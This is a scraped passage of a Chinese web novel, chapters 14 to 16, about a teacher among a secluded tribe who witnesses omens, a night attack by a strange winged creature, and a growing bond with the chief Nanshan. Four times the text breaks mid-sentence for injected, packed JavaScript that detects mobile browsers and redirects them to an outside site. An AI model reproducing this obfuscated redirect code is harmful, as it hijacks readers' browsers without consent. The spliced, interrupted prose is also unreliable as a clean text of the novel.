褚桓听了,感觉自己鼻梁上凉飕飕的。 流鼻涕的小跟班崇拜地问他那“知识渊博”的大姐大:“干什么用的?” 花骨朵:“那不知道,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088626|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是为了好看吧。” 这是,有个三四岁的秃头小男孩突然扯着嗓子,奶声奶气地嚎了一句:“族长最好看!” 花骨朵:“闭嘴!” 小秃头不理会,继续叫板:“族长最好看!” 花骨朵一跃而起,揪住小秃子的屁帘,双脚离地地把他拖走扔了。 一圈崽子顿时被此女淫威所迫,全都不敢抢话了,排排坐好,等老大发表意见。 褚桓忍不住抬头看了她一眼,认为这丫头将来很有当大土匪的潜力。 花骨朵:“哎哟,他看我。” 褚桓这一眼顿时把花骨朵看得小媳妇了,低头臊脸地一缩脖,脸红到了耳根。 褚桓:“……” 他把目光移回书页间,坚决要非礼勿视。 只听那边的崽子继续嘤嘤嗡嗡地编排他:“他手上戴的那个环,族长说能看点钟,是真的还是假的?” 花骨朵小道消息极多,闻听此言,立刻忘了方才的一眼惊魂,连忙抖落出自己的博闻强识:“真的,我妈说那个也不能碰,上面的针只有头发丝那么粗,一碰就碎了。” 众孩立刻唏嘘不已,只觉得这个“河那边”的人真是无处不金贵。 “姐,还有什么一碰就碎的?” 花骨朵鬼鬼祟祟地抬头看了一眼褚桓,被他那副“听不见也听不懂”的装逼样成功哄骗,于是无所顾忌地说:“还有‘大王大王’也不可以碰,河那边的人都这样,还没有纸结实——我爸跟着族长去接他的时候,看见他身上有这么大的一个伤口……” 花骨朵伸手比划了一下,煞有介事地说:“从后背一直穿到前面,族长说可能是树枝戳的。” 众孩听了大惊,齐齐地把目光投向褚桓,近乎诚惶诚恐。 褚桓:“……” 南山,长得帅归长得帅,但是这么造谣合适吗? “一根树枝……能从这戳到这?我的个天哪,那我可不敢摸啊!” 花骨朵一瞪眼:“你敢!那是族长走到‘边界’才带回来的,摸坏了打死你!” “那……他每天晚上才出来,是不是怕太阳晒?” “晒多了会化吧?” “他头发也很短,是不是头发长太沉,会把脑袋坠掉了?” “脑袋坠掉了还能活吗?” 褚桓坐在石头下,一边端着男神般不动如山的架子,一边辛酸地经历着“被太阳晒死”“被头发把脑袋坠掉”“被大风刮个头破血流”以及“坐在石头上被石头硌成两截”……之类种种死无全尸的美好结局。 内心感受不禁有一些复杂。 这时,方才被大姐头花骨朵扔了的小秃头终于锲而不舍地爬了回来,气沉丹田,大喝一声:“族长才最好看!” 然后勇敢的小小脑残粉就被彪悍的花骨朵大姐头打哭了。 一个三四岁大的光屁股豆丁在自己面前嚎啕大哭,作为一个大人……哪怕刚刚死于千刀万剐,褚桓也不好看着不管。 他只好揉了揉耳朵,站起来向坐地大哭的小秃头走去,众孩一看他来,立刻如临大敌般地一哄而散,散还不肯散远,隔着十来步,瞪着一双双无知的大眼睛,稀罕地张望着这个能被“一根树枝捅个对穿”的金贵物件。 褚桓不知道怎么哄小孩,只好弯下腰抱起了嗷嗷大哭的小秃头。 所有小孩随着他的动作抬头,连小秃头都忘记了哭泣,表情一致的都是:“看,猪上天了。” 褚桓没想到小秃头这么好对付,不用哄自己就不哭了,于是在兜里翻了翻,翻出了自己从县城买的牛奶糖,往呆呆的小秃头嘴里塞了意一颗,把他放了下来:“行了,玩去吧。” 小秃头舔了舔奶糖,恋恋不舍地走了几步,又回头看了看褚桓,就这样一步三回头地走出去老远,还在不停地回头张望。 只见他彷如下定了某种决心,褚桓听见他气沉丹田,大声宣布他对世界的最新看法:“‘大王大王’最好看!” 喂,这就叛变了啊?真是个蒲志高的好苗子。 褚桓还没来得及笑,突然,他感觉脚下一阵颤动。 地震? 14. 现世 离衣族的孩子给褚桓的印象就是一个字:野。 一个是玩得野——他们平时反正是不用上学也不用上补习班,一天到晚就大野马似的漫山遍野地跑。 再一个是性格野——这个典型案例就是小芳那个花骨朵女孩,牙尖嘴利,宰得了野猪,打得哭小弟。 他们的童年野得无拘无束,在族长面前都敢放肆,可是就是这么一帮野孩子,居然集体被一场轻微的地震吓住了。 那场地震其实只是微有震感,几分钟就过去了,照理说,西南地区处在喜马拉雅火山地震带上,地壳多少有点多动症,只要不是地动山摇的大动静,偶尔晃悠两下应该也不是什么稀奇事,小孩子们也就算了,大一些的也不知道什么是地震吗? 更让褚桓愕然的是,当地面震颤的时候,这些孩子以一种古怪的默契,一同望向了天空。 是和他们的某些信仰有关系?也许就像古代人相信月食是天狗吃月亮造成的那样,离衣族人认为地震和天上的什么东西有关? 那么他们脸上那种如临大敌又是怎么回事? 很快,褚桓就发现,如临大敌的不止少年儿童。当天傍晚上课的时候,人来得格外全。褚桓在这里教课十分自由散漫,基本是谁愿意来谁来,反正教室是开放的,一般离衣族的青壮年人通常只来一半,有些人还有活要干,剩下的一些则要去巡山,他们族里养的快马就是做这个用的。 但是这一天,白石头旁边的人骤然增加了一倍,其中有一些是本应该去巡山的,这些人身上都带了家伙,只是藏在裤子里不让人看见。 这一点小伎俩瞒得住别人,瞒不住褚桓那双眼,不过他的目光从巡山人身上扫过,只是假装不知道,照常开展开他的普通话科普讲座。 连他的助教兼族长南山都显得格外正色,褚桓注意到他手里拎着一根权杖似的东西,他曾在南山家看见过一次,和一大堆冷兵器挂在一起,精雕细琢到显得近乎华丽的外表和那些森冷的铁家伙格格不入。 这种形式大于内容的东西,褚桓猜可能是族长身份的象征。 “震——就是这样,振动的意思,地震,就是地在振动。”褚桓想起什么讲什么,他话音一顿,又补充说,“一般是地下的大石头层运动引起的,像风和雨一样。” 这时,他听见花骨朵的小跟班在底下用离衣族土语说:“才不是和风雨一样,那是……门开了。” “门”前面的那个词褚桓闻所未闻,也不知道是什么意思。 男孩身后很快伸出一只大人的手,打了这多嘴多舌的小男孩一巴掌。 褚桓像无视巡山人身上的武器一样,假装没听见男孩的话,若无其事地继续自己的话题,可是他此时已经明显感觉到,小男孩说出那句话之后,空地上的气氛陡然紧张了起来。 这天的课在压抑的气氛中讲完,连平时十二分投入的大山都显得有些心不在焉,离衣族人们没有像往常一样留下来歌舞一会,他们很快默不作声地散了,平时到处乱跑的小崽子也都被家长遣送回家。 南山向褚桓走过来:“我陪你走一段。” 褚桓应了一声,这时,一阵风吹走了天上薄薄的乌云,褚桓无意中往天上看了一眼,脚步忽然一顿。 那是……满月如铜。 奇了怪了,褚桓忍不住伸出手,用力掐了掐自己的眉心,他明明记得头天还是个细长的小月牙。 月亮总不可能是气吹涨的,那难道是他记错了? 幻觉?记忆错乱?还是他脑残得更厉害了? 就褚桓的自我感知而言,他感觉自己不可能疯到那种程度。 可是如果不是他自己的问题,客观的自然现象又怎么解释呢? “……褚桓?” 南山连叫了他好几声,褚桓才回过神来:“嗯,什么?” 南山小心翼翼地打量了一下他的脸色:“你的脸有点白,病了?” 他这种临终关怀一样的神色,顿时让褚桓想起了下午听见的谣言,他总算是找着了一个转移自己注意力的渠道,不再纠结于自己是不是产生了幻觉这件事。 褚桓糟心地看了南山一眼,很想问问他,自己到底是哪表现得让人误会,让南山产生了“此人属于能被一根树杈戳死的物种”这个错误印象。虽说他早就将脸皮千锤百炼,将个人形象置之度外了,但……出于一些原因,褚桓还是不大希望自己在南山心里的形象如此的不英雄。 褚桓有些生硬地掰扯开南山的话题,指了指南山手里那根棒子,问:“对了,你今天拿着这个东西,是最近族里要发生什么大事吗?” 南山被他突然开口问得一愣,过了一会,才犹犹豫豫地点了个头,褚桓看得出,他不大方便对自己说明详情,但是人太老实,又不会搪塞扯淡的那一套,正在努力地思考该怎么开口。 “有,”过了一会,南山承认,“你……唔,你最近尽量不要一个人。” 褚桓看了他一眼,南山虽然不闪不避,但是眼神里透着某种“别问了”的信息。 褚桓马上了然识趣,从善如流地不再打听,对南山的族长权杖随口夸了一句:“你这个东西最上面镶的是翡翠还是碧玉?绿得真透亮。” 南山:“好看吗?” 褚桓点头:“不错。” 一般而言,夸别人身上的某样东西,其实只是两个人闲谈对话的承上启下,说的人和听的人都不会太走心,也很少有别的意思,不过南山显然不是一般人。 褚桓“不错”俩字还没落地,南山的手指已经扣住了权杖上面的那块最大的宝石,他修长的手指忽然弯曲成爪,二话不说,直接用蛮力把石头抠了下来,一手拎着秃了顶的权杖,一手把宝石往褚桓面前一递,真挚地说:“那送给你。” 褚桓:“……” 南山把石头握在手里掂了掂,建议说:“我给你穿个洞吧,你可以挂在脖子上。” 脖子上挂一个拳头大的大宝石?一定会对颈椎病起到举足轻重的推动作用。 不,重点是——这玩意是宝石吧?不是大颗的糖块吧? 褚桓:“不、不是,我不是这个意思。” 南山疑惑地一偏头:“不喜欢吗?” 褚桓有点虚脱:“……不,我也不是那个意思。” 俩人无法交流地相对而立了片刻,中间隔着一块绿油油的石头,到底他是几个意思,褚桓自己也弄不清了。 褚桓尴尬地笑了一下,在天堑般的文化鸿沟面前耐心地解释说:“在我们那边,一般无缘无故的,大家不会互相送这么珍贵的礼物。” 南山用他无知又漂亮的眼睛一眨不眨地盯着褚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088627|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桓,口无遮拦地说:“为什么?我觉得你更珍贵。” 褚桓再一次哑口无言。 他可以对天发誓,自己绝对没有故意胡思乱想,可是南山认认真真的说这话的样子,实在让人不大容易把持住,褚桓觉得自己的心脏好像莫名地跳空了一下,七上八下地逛荡出了一堆乱码。 他张口结舌了良久,才板住宛如正人君子般一本正经的脸,声音略为干涩地说:“口头上,一般我们也不说这种……呃,这种在特殊场合才会说的话。” “哦,不这么说啊,”南山带着一点似懂非懂的茫然点了点头,表示受教,然而就在褚桓干笑一声,一口气还没缓上来的时候,他又目光澄澈地问,“那如果我特别喜欢你的话,应该怎么说?” 褚桓当场被口水呛住,咳了个死去活来。 南山十分地困惑不解,有点不好意思地看着褚桓笑:“我又说错了啊。” 他那眼睛里是一片昭昭朗朗的光风霁月,褚桓感觉其中充分映照出了自己的龌龊。他定了定神,手心有一点酥软的麻,接过了南山的权杖和宝石——原本是镶嵌在顶端的,被南山没轻没重地连齿一起掰了下来。 褚桓端详了片刻,想起自己那有一小盒502胶:“走吧,我去给你粘一粘,镶得好好的,掰下来干什么?” “没什么,那个没用,”南山跟着他,不怎么在意,显出一身浑然天成的土豪气质,“你要是能一直留下就好了——你会一直留下吗?” 褚桓闻言一顿,犹豫了片刻,话到嘴边,又慎重地迂回了一下:“这怎么说呢?世事无常,你说对吧?” 不好回答的问题,委婉地转个圈,大部分成年人也都能闻弦歌知雅意,多半就不会再追问了。 可是南山再一次表现了他的非同寻常。 南山直眉楞眼地问:“啊?什么意思?” 褚桓噎了片刻,思考了一下措辞,发现不管怎么措辞都是扯淡,于是也只好遵循了南山族长的说话方式,像个棒槌一样直来直去地说:“……意思是不会。” “哦,”这回够直白了,南山沉默了一会,点了点头,似乎有点难过,好一会,他说,“我看到你送给我的书上写了一个东西,叫‘飞机’,人可以坐在上面飞到云层上,‘河那边’真的有能飞上天的车吗?” 褚桓:“有啊,有空我请你坐,飞去我家玩。” 南山:“你家在哪?” “我家在……”褚桓话音突然一顿,他被问住了。 他家在哪呢? 他没有家,只有一个没客厅的小公寓,还有褚爱国的一处继承到他名下的房产,前者还有个没收拾走的猫爬架,后者更是很久都没人住了,他连租都懒得租出去。 那就只是房子,是财产,能叫家吗? 南山一笑:“你说了我也不知道,反正是远处对吧?我不能去,不能离开族里太远,不过以后……以后说不定等族里的孩子长大了,学好了汉语,可以跟你出去看看外面的世界。” 他说这话的时候,有种让人不忍打破的憧憬,褚桓把煞风景的一句“外面的世界很乱”咽了回去。 他把南山让进自己的小院:“进来,我给你粘……呃?” 褚桓看见自己门口盘着一条蛇,这不速之客正像条看门狗一样,冲他吐着舌头。 15. 现世 黑灯瞎火的发现在自己家门口蹲着一条三角脑袋的毒蛇,褚桓的心情有点难以言喻。他一直没有什么小动物缘,但凡有一丝别的活路的动物,基本都会自发地躲着他,好不容易有个追着他跑的,还是条冷冰冰的毒蛇。 也不求别的,只是好歹也来一只恒温动物好不好? 他的话音和脚步同时一顿,南山马上顺着他的目光看了过去,当时不知道是不是褚桓的错觉,那蛇在对上南山目光的一瞬间,好像情不自禁地瑟缩了一下。 遭到了意外惊吓的小毒蛇尾巴尖一抖,仿佛是想夹着尾巴逃走,又发现自己先天不足,没地方夹。它只好把自己盘得更紧了些,一下一下吐着信子,脑袋上上下下的动,颇有些点头哈腰的意思。 褚桓木然地托了一下眼镜,心想:“蛇成精了。” 下一刻,他强大的理智又跳出来反驳:“不,是我更神经了。” 尽管这个认知让他有一点难以接受,但褚桓的理智依然在试图说服自己。 “首先,蛇是近视眼,不可能认得出人。”他有理有据地想,“其次,它那么秀气的一颗小脑袋,还要余出好大一块装它的毒腺,剩下的地方放得下智商么?” 这时,南山却一抬手把褚桓拦在身后,然后他俯身,徒手把这条天赋异禀的毒蛇给揪了起来。只见英俊的族长脸色微沉,就像拎着一条麻绳,还毫不留情地甩了甩,一点也不顾念那东西作为一条见血封喉的毒蛇的尊严。 青色的小蛇企图逃窜未果,蔫耷耷地被他抓在手里,居然也没什么攻击的意图。 南山轻声警告说:“再让我看到你打扰他,我就把你砍成三段。” 他说的是离衣族话,声音虽然轻,语气却极其严厉。毒蛇听了,连忙把自己的身体绷成了一根笔直的长棍,装死装得十分敬业,连尸僵程度都考虑得这么周到。 褚桓终于忍不住脱口问:“你是在跟它说话?” 南山随手把毒蛇往旁边的草丛里一扔,小毒蛇如蒙大赦,立刻以闪电的速度钻进了草丛里,好一会,又从草丛中冒出了一个头,见南山没打算追上来,这才战战兢兢地游走了。 南山:“它听得懂,不咬人。” 也就是说,那是族里某个人养的宠物蛇吗?那么方才它种种作为,都是训练出来的吗? 这倒也不是没有可能,必经世界之大,无奇不有。 褚桓惊诧之余,又有些欣慰,因为南山的话从侧面证明了,他只是有点没见识,并不是出现了幻觉。 褚桓给南山修好了族长权杖,就把人送走了——平时,南山如果有机会,一定会跟他多待一会,他对河那边的一切都充满了好奇,连“地铁还是汽车跑得快”这种鬼问题都能兴致勃勃地研究一下午,是一本活体的“十万个为什么”。 但是这天,南山却近乎是来去匆匆的,褚桓送他到门口,远远地看见了许多离衣族的青壮年男子,密集地在族里巡视,还有几个健硕的女人,正猫着腰在房顶上摆弄什么东西,借着亮得不正常的月光,褚桓看见她们在房顶上安着大大小小的弓弩。 褚桓的想象力贫瘠,对于离衣族人这种暗潮汹涌的戒备森严,他第一反应就是会不会有猛兽灾害。 不过随即,褚桓想起了花骨朵和小跟班宰野猪的那一幕,又把这个看法否决了。 那是和别的族有领土争端吗? 按理说似乎也不会,至少褚桓这些日子登高远望,没有发现附近有别族聚居的痕迹。 总不能是外国人通过这里非法入境吧? 真是那样,也不是一个族落的老百姓们需要操心的事了。 褚桓带着各种不靠谱的猜测躺在了床上,从床头一个小盒里摸出了他的枪放在枕边——倒也不是防什么,只是褚桓有点神经衰弱,枪对于他来说能催眠安神,就像小孩的泰迪熊抱枕。 这天半夜,离衣族聚居地万籁俱寂,只有不远处的山林中间或传来一两声夜枭啼叫,忽然,“吱”一声,褚桓小院的木柴门被轻轻地推开了,这动静立刻惊醒了浅眠的屋主人。 谁? 离衣族不兴偷鸡摸狗,族人都是一起劳动一起分享劳动成果,此地先天条件优良,资源丰富,人们好歹干点什么就饿不着,族长的个人威信又足以服众,俨然是按需分配,从某种程度上来说,几乎提前实现了共产主义。 谁会半夜三更闯进别人家里? 褚桓悄无声息地翻了个身,面向门,眼睛睁开了一条缝,气息却依然压得平缓绵长,听起来好像他还没醒,搭在身侧的手指捏住了手枪。 借着亮得不寻常的月光,褚桓看见自己的门闩动了。 他房门的门闩是那种旧式的、卡在凹槽里的木条,眼下,那根木条正凭空缓缓移动,就像是有个看不见的人正在从屋里开门。 “噶哒”一声,门闩掉了下来,房门被推开了,一股混杂着淡淡的腥气的夜风从门外涌了进来,褚桓看见自家门口背光而立了一个“人”。 五六岁的孩子那么高,头很小……不,不对,那不是人。 只见那东西忽然张开两臂,胳膊下面与身体黏连着半透明的蹼,它仰起头,在月光下露出满脸的毛,似乎要引颈长嚎,褚桓却没有听见声音。 但是他门口一棵大树上挂的铃铛却响了,似乎是被什么东西拨动了。 铃铛是他住下之后,有一天有人趁他不在的时候挂的,褚桓还以为是哪个孩子淘气,平时有一点微风,小铃铛也叮叮当当地响,很好听,他也就没管。 这时,那铃铛高频率地震着,发出急促得近乎刺耳的颤音,好像一串警告。 门口的东西忽地展开背后的蹼,向褚桓飞扑过来,就在这时,一道黑影突然闪过,径直拦在黑影前,伸手一抓,就将它按在了地上。 褚桓的耳朵不由自主地微微动了一下,他听见“喀拉”一声。 什么东西的脖子被拧断了。 一切都发生在电光石火间,褚桓半坐在床上,压在被子里的手扣在扳机上,他的手指先是一紧,再又一松,除此以外,他整个人显示出某种不动如山般的镇定。 刚刚拧断了一根脖子的黑影抬起头来,是南山。 褚桓若无其事地松开扣在抢上的手指,他闻到了一股夹杂着腐臭的血腥味。 空气寒冷而潮湿。 这不可能是幻觉,幻觉也得是循序渐进的,不可能这么真实。 褚桓缓缓地伸出手,去拿放在床头的便捷式手电,途中被南山一把攥住了手腕。 南山的手心传来人的温度,他说:“别看,已经死了。” 褚桓:“那是什么东西?” 南山沉默了一会,回答:“闯进来的野兽,等一会,我替你收拾干净。” 说完,他就拖起地上的东西大步出去了。 褚桓披上衣服半坐在床上,他纵然没有半夜里关着灯看书的能耐,夜视力也绝对不差,即使不开手电,仅借着一点月光,他也看见了地上躺着的生物。 那是一种他从没见过的东西,体型类人,脸上却布满了毛——是野猪那种钢针一样的鬃毛,身上有闪着光的鳞片,胸骨突出,双臂下方透明的蹼如滑翔翼,很可能会飞。 南山把它拖走的时候,它的指甲挂着地面,发出金属般碰撞的声音,可见坚硬程度。 褚桓不缺乏野外经历,也不是没去过动物园,然而这种动物彻底超出了他的认知。 未知的动物,未知的植物,还有力气大得古怪的孩子。 褚桓的目光转到他的门上——而且,当时的门闩又是怎么掉下来的? 这时,他听见南山在外面跟什么人低低地说了句话,接着,院子里传来了水声,似乎有人洗什么东西,洗了半天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088628|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南山才又轻轻地推门进来。 这一回,南山没有吭声,只是悄无声息地走进来,来到了褚桓床边。 他的手和脸都洗过了,身上带着冰冷的水汽,发梢沾湿了一点,在褚桓床前站了一会,他终于憋出两个字:“睡吧。” 说完,南山背靠着褚桓的床坐在地上,面朝门的方向端坐好。 南山并不是不善言辞,只是要他组织出一段精彩的汉语,总是有点超出能力范围。 他本想对褚桓说“别怕,我在这守着”,话到嘴边,又给咽了回去,南山因为下午连续说错了几次,这次话音出口之前,就不禁仔细推敲了一会,从而功夫不负有心人地察觉了这句话的不当之处。 是了,褚桓虽然“脆弱”,但并不是小孩,这样一句“别怕”说出来,显得不太尊重。 既然不能说,他就只好身体力行地用行动来表示。 这一点笨拙的体贴一丝不落地掉进褚桓眼里,让他感觉心尖上一软。 褚桓往里挪了挪,拍拍硬邦邦的床板:“上来。” 南山没有拒绝,翻身躺了上去,族长的宅子附近有几棵桂花树,南山常常在那里召集族人开会讨论一些事,身上自然而然地粘上了极轻极浅的花香,钻进褚桓的鼻孔,弄得他当时就有一点心猿意马起来。 为了自己岌岌可危的节操,褚桓挑起了一个话题。 “哎,”他捅了捅南山的肩膀,“刚才那个,那个大家伙,肉能吃吗?” 南山:“……” 他认真地考虑了良久,做出了回答:“不能,皮太厚。” 面对着褚桓这种大无畏的吃货精神,南山又想起了上药的时候褚桓那一声不吭的样子,他觉得自己方才是多虑了,于是毫不吝惜地给了褚桓真挚的赞赏:“你真是个凶猛的毛象。” 这一次,他学会了用汉语表达。 褚桓更消化不良了:“吁——咱们说‘勇敢的’好不好?我谢谢您了,还有毛象就不必了,我也没有凶猛到那种程度,其实‘帅哥’就够了。” 离衣族的语言里,其实“凶猛”和“勇敢”是不分的,两个都是褒义词,可见这个民族虽然友好热情,但自有一番茹毛饮血的野性审美。 因此南山十分不解地问:“凶猛和勇敢不一样?” 褚桓想了想:“……‘勇敢’听起来让人觉得英俊一些。” 这句话里包含了复杂的通感,超出了南山的理解范畴,不过这一回,他没有做过多纠缠,只是翻了个身,面对着褚桓,对他说:“冬天快到了,今年我们最后一次过河,到那边去卖东西,每次都是我带人去,这回族里有事,我走不开,你能替我一次吗?” 这要求提得突兀,或许是为了支开他,又或许是为了保护他,褚桓想了想——南山作为族长,应该有自己的考量,他一个外来人,尽量不给人家添麻烦就对了,于是痛快地答应了下来:“好,我顺便去看看有没有卖小乐器的,给你带一个回来。” 他一口答应,南山顿时松了口气,有了和他闲聊的心情:“又送我吗?为什么我送你的东西你都不要?” “你送的东西太贵,我给你玩的都是些小玩意。”褚桓想起了那大颗的宝石,依然心有余悸,“你那块石头如果是翡翠,都能抵得上我一辈子的工资了,这要是在外面,我随便收了那就是贪污受贿,非得挨处分不可。” 南山不懂什么是“贪污受贿”,也没明白什么是“挨处分”,他一板一眼地解释说:“那我们这和你们不一样,我们这送什么都一样。” 离衣族像是生活在世外桃源里,没有什么财富的概念,褚桓刚想组织语言给他解释一下,就听见南山补充说:“比如你是我的朋友,你从远处来,我就请你喝一坛酒,你如果需要,我的命就是你的,你说的‘贵的’东西还有‘不贵的’东西,在我看来都没有什么区别。” 16. 现世 褚桓有好一会没有答话,南山还以为他已经睡着了,就拎起被子的一角,往褚桓身上拉了拉,中途却被一只手虚虚地搭住了手腕。 褚桓的手指间带着薄茧,带着一点轻拿轻放的力度。 南山一愕,黑暗让他留意到了褚桓的这双手,似乎和自己想象的有点不一样。 褚桓忽然很想喝酒,在离衣族短短的数月之间,他就明白了酒精的好处。 微醺的时候,人的心跳会加速,血液小火沸腾般地加速起来,他会觉得自己整个人都活了过来,又有了贯穿头尾的精气神。 等到再喝多一点,上了头,他就开始忘记自己这是在什么地方,这时候如果只是凝视酒杯,他会有种自己还很年轻、鹏程万里任尔来去的错觉。 最后就是大醉了,那时候什么喜怒哀乐、天地人鬼,他就全都抛诸脑后了,身轻如羽,飘在半空中,他能靠着这一点万事空惘的茫然,无忧无愁地睡上一整宿。 但是褚桓抿了抿嘴唇,忍住了没提。 天行健,人以自强不息,他既然察觉到了自己的依赖逃避,就不该放纵心里无谓又可耻的软弱。 况且南山虽然是躺在这,但是恐怕还有大部分的心神是连着外面的,这天晚上离衣族出于某种原因全体戒备森严,褚桓虽然不便打听原委,但总不能拉着族长玩忽职守醉酒。 他吞下了酒瘾,谁知话却顺流浮了上来。 “我以前有一个朋友,跟你有一点像。”褚桓忽然低声说。 他的声音有些难以言喻的沙哑,有一点像刮过山岩表面的风沙,带着熬出了年头的粗粝。南山不由自主地轻轻抖了一下,微微侧了侧耳朵,感觉耳根有些发痒。 “他也是做什么事都百分之百地认真投入,哪怕是吃饭洗手这些琐事——这一点你们俩很像,不过也就只有这一点,”褚桓补充说,“你是个好朋友,他是个混蛋,每次见面必找碴跟我掐一架。” 褚桓说得不快,南山仔仔细细地听着,没有插话。 褚桓顿了顿,然后说:“后来因为一些原因,他替我死了,临死冲我比划了一个这个。” 他说着,竖起了中指,比划了一个下流的手势,然而手指好像被回忆压弯了,他下流得莫名放不开。 南山好奇地跟着比划了一下:“这是什么意思?” 褚桓:“……不,你跟着不用学,这是骂人的。” 南山掰扯着自己的手指,即使是竖中指,他也竖得格外正直,在文化差异阻挡下,南山没能从一根手指上领悟到骂架的真谛,他缩回手,对褚桓说:“他叫什么?” 褚桓的目光近乎温柔地注视了南山片刻,忽然一笑:“凶猛的毛球。” 南山:“不是勇敢的……” 褚桓不脸红不害臊地说:“哦,在我们那,一般长得好看的就叫‘勇敢’,丑的叫‘凶猛’。” 南山:“……” 他感觉自己的汉语学习又遇到了一个新的瓶颈。 褚桓的声音却再次低沉了下去,如果不是南山耳目过人,他几乎听不见对方的话。 褚桓轻轻地说:“只是我总会想,他的死和我活下来,有什么意义吗?我知道这么说是挺矫情的,但是人总得为了什么活着,对不对?” 他说着,手指蜷缩起来,攥成了拳头,感觉到那枚刻着“逗你玩”的戒指正卡在他的指缝间,仿佛是在提醒着他本人亲自点头应下的承诺。 “不对,”南山斩钉截铁地打断了,“兔子为什么活着?鹰为什么活着?松鼠为什么活着?蛇又为什么活着?” 褚桓一声不吭地看着他,南山忽然抬起手,把手心附在了他的眼睛上。 可能是离衣族特有的铜皮铁骨,南山和其他人一样,从来不怕冷,他那手掌哪怕刚刚浸过凉水,也能飞快地暖和过来。 褚桓隔着薄薄的眼皮感觉到了他掌心的温度,像正午时分最炽烈的阳光,又像长在一棵植物的最顶端,那片伴芽而生的、最最翠绿欲滴的叶子,是他初见南山时就印在了脑子里的那股生命力。 褚桓忍不住说:“你再给我吹一次那首曲子好不好?就我第一次看见你的时候,你吹的那首。” 南山就爬起来,从褚桓屋角落的一棵移栽进屋的植物上掐了一片叶子,凑到嘴边:“这首曲子用你们的话说,是叫‘第一场雨后的山坡’,说得是每年春天的第一场雨后,小草和虫子一起从地下爬出来的样子。 褚桓:“我们一般不起这么长的名字。” 南山:“那应该叫什么?” 褚桓停顿了片刻,心里忽然灵光一闪,他说:“惊蛰。” 深秋桂花香里,一首惊蛰小调。 第二天,外面还是一片漆黑的时候,南山就悄悄地起来走了,褚桓没动,也没睁眼,直到南山出去,“吱呀”一声替他别上门,他才缓缓地翻了个身,毫无睡意地仰望着八/九高的灰色天花板。 头天晚上和南山闲聊的话还历历在耳,褚桓也不是有意回味,可南山的声音好像一把丝线,牢牢地缠住了他的耳朵,往左边翻个身,右耳听得见,往右面翻个身,左耳听得见,似乎是非要千尝百品,没味了才肯罢休。 褚桓感觉自己是摸出两块钱,想买个玻璃珠,结果人家给弄错了,拿给他一块钻石。 赚大发了,他窃喜之余,又难免有点惭愧。 褚桓躺了一会,等到心神慢慢地安定了下来,就照常起床进行他的锻炼。 每天破晓之前,褚桓都是绕着山脚河边,跑大概四到五公里,然后再到林子里做一套例行力量训练,算是松快一下筋骨。这样回来简单地冲洗一下,基本上才刚刚好天亮,正赶上大家都出来活动,春天大姐会给他送早饭来——春天就是小芳的老婆,花骨朵那个不分轻重的熊妈,尽管她教育孩子的方法略脱离传统,但做饭的手艺却是族里公认的好。 每天这时候出门遇不到人,不过由于这天有好多通宵巡逻的,褚桓刚一走出来,就有两三个守夜的汉子看见了他。 小芳正以一种大猩猩的姿势蹲在一棵大树上瞭望,见了褚桓立刻热情地打招呼,毫不顾忌地敞开嗓门冲他喊了一声:“大王大王!” 他这一嗓子嚎叫,恨不得十里八村都能收到“大王天不亮就要来巡山”的通知,饶是褚桓脸皮再厚,一时间也有些后悔给自己起了这么个花名。 他忙竖起一根手指头:“嘘——” 小芳摸着后脑勺“嘿嘿”一笑,纵身一跃从树上跳了下来,离衣族土语里掺杂着几个汉语的词,比比划划地对褚桓说:“我去叫春天起来给你弄点吃的。” 褚桓一把拉住他,制止了他的扰民行为。 不过小芳这边的动静还是惊动了好多人,一大帮守夜的汉子从各处冒出头来,目光灼灼地围观着褚桓。 褚桓实在没有办法在众目睽睽之下绕山跑步,只好假装若无其事地缩了回去,把门一关,憋闷地在屋里那晾衣服的铁架子上做引体向上。 锻炼到一半,他的窗户被轻轻扣了两下,褚桓一愣,跳下来,把木窗往上一翻,四下一看,没看见人,一条蛇却忽忽悠悠地垂下来,露出一张小脸。 褚桓:“……” 不是,它怎么又找来了? 小毒蛇摇头晃脑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088629|163607||http|test|mini|href|location''.split(''|''),0,{})); () { 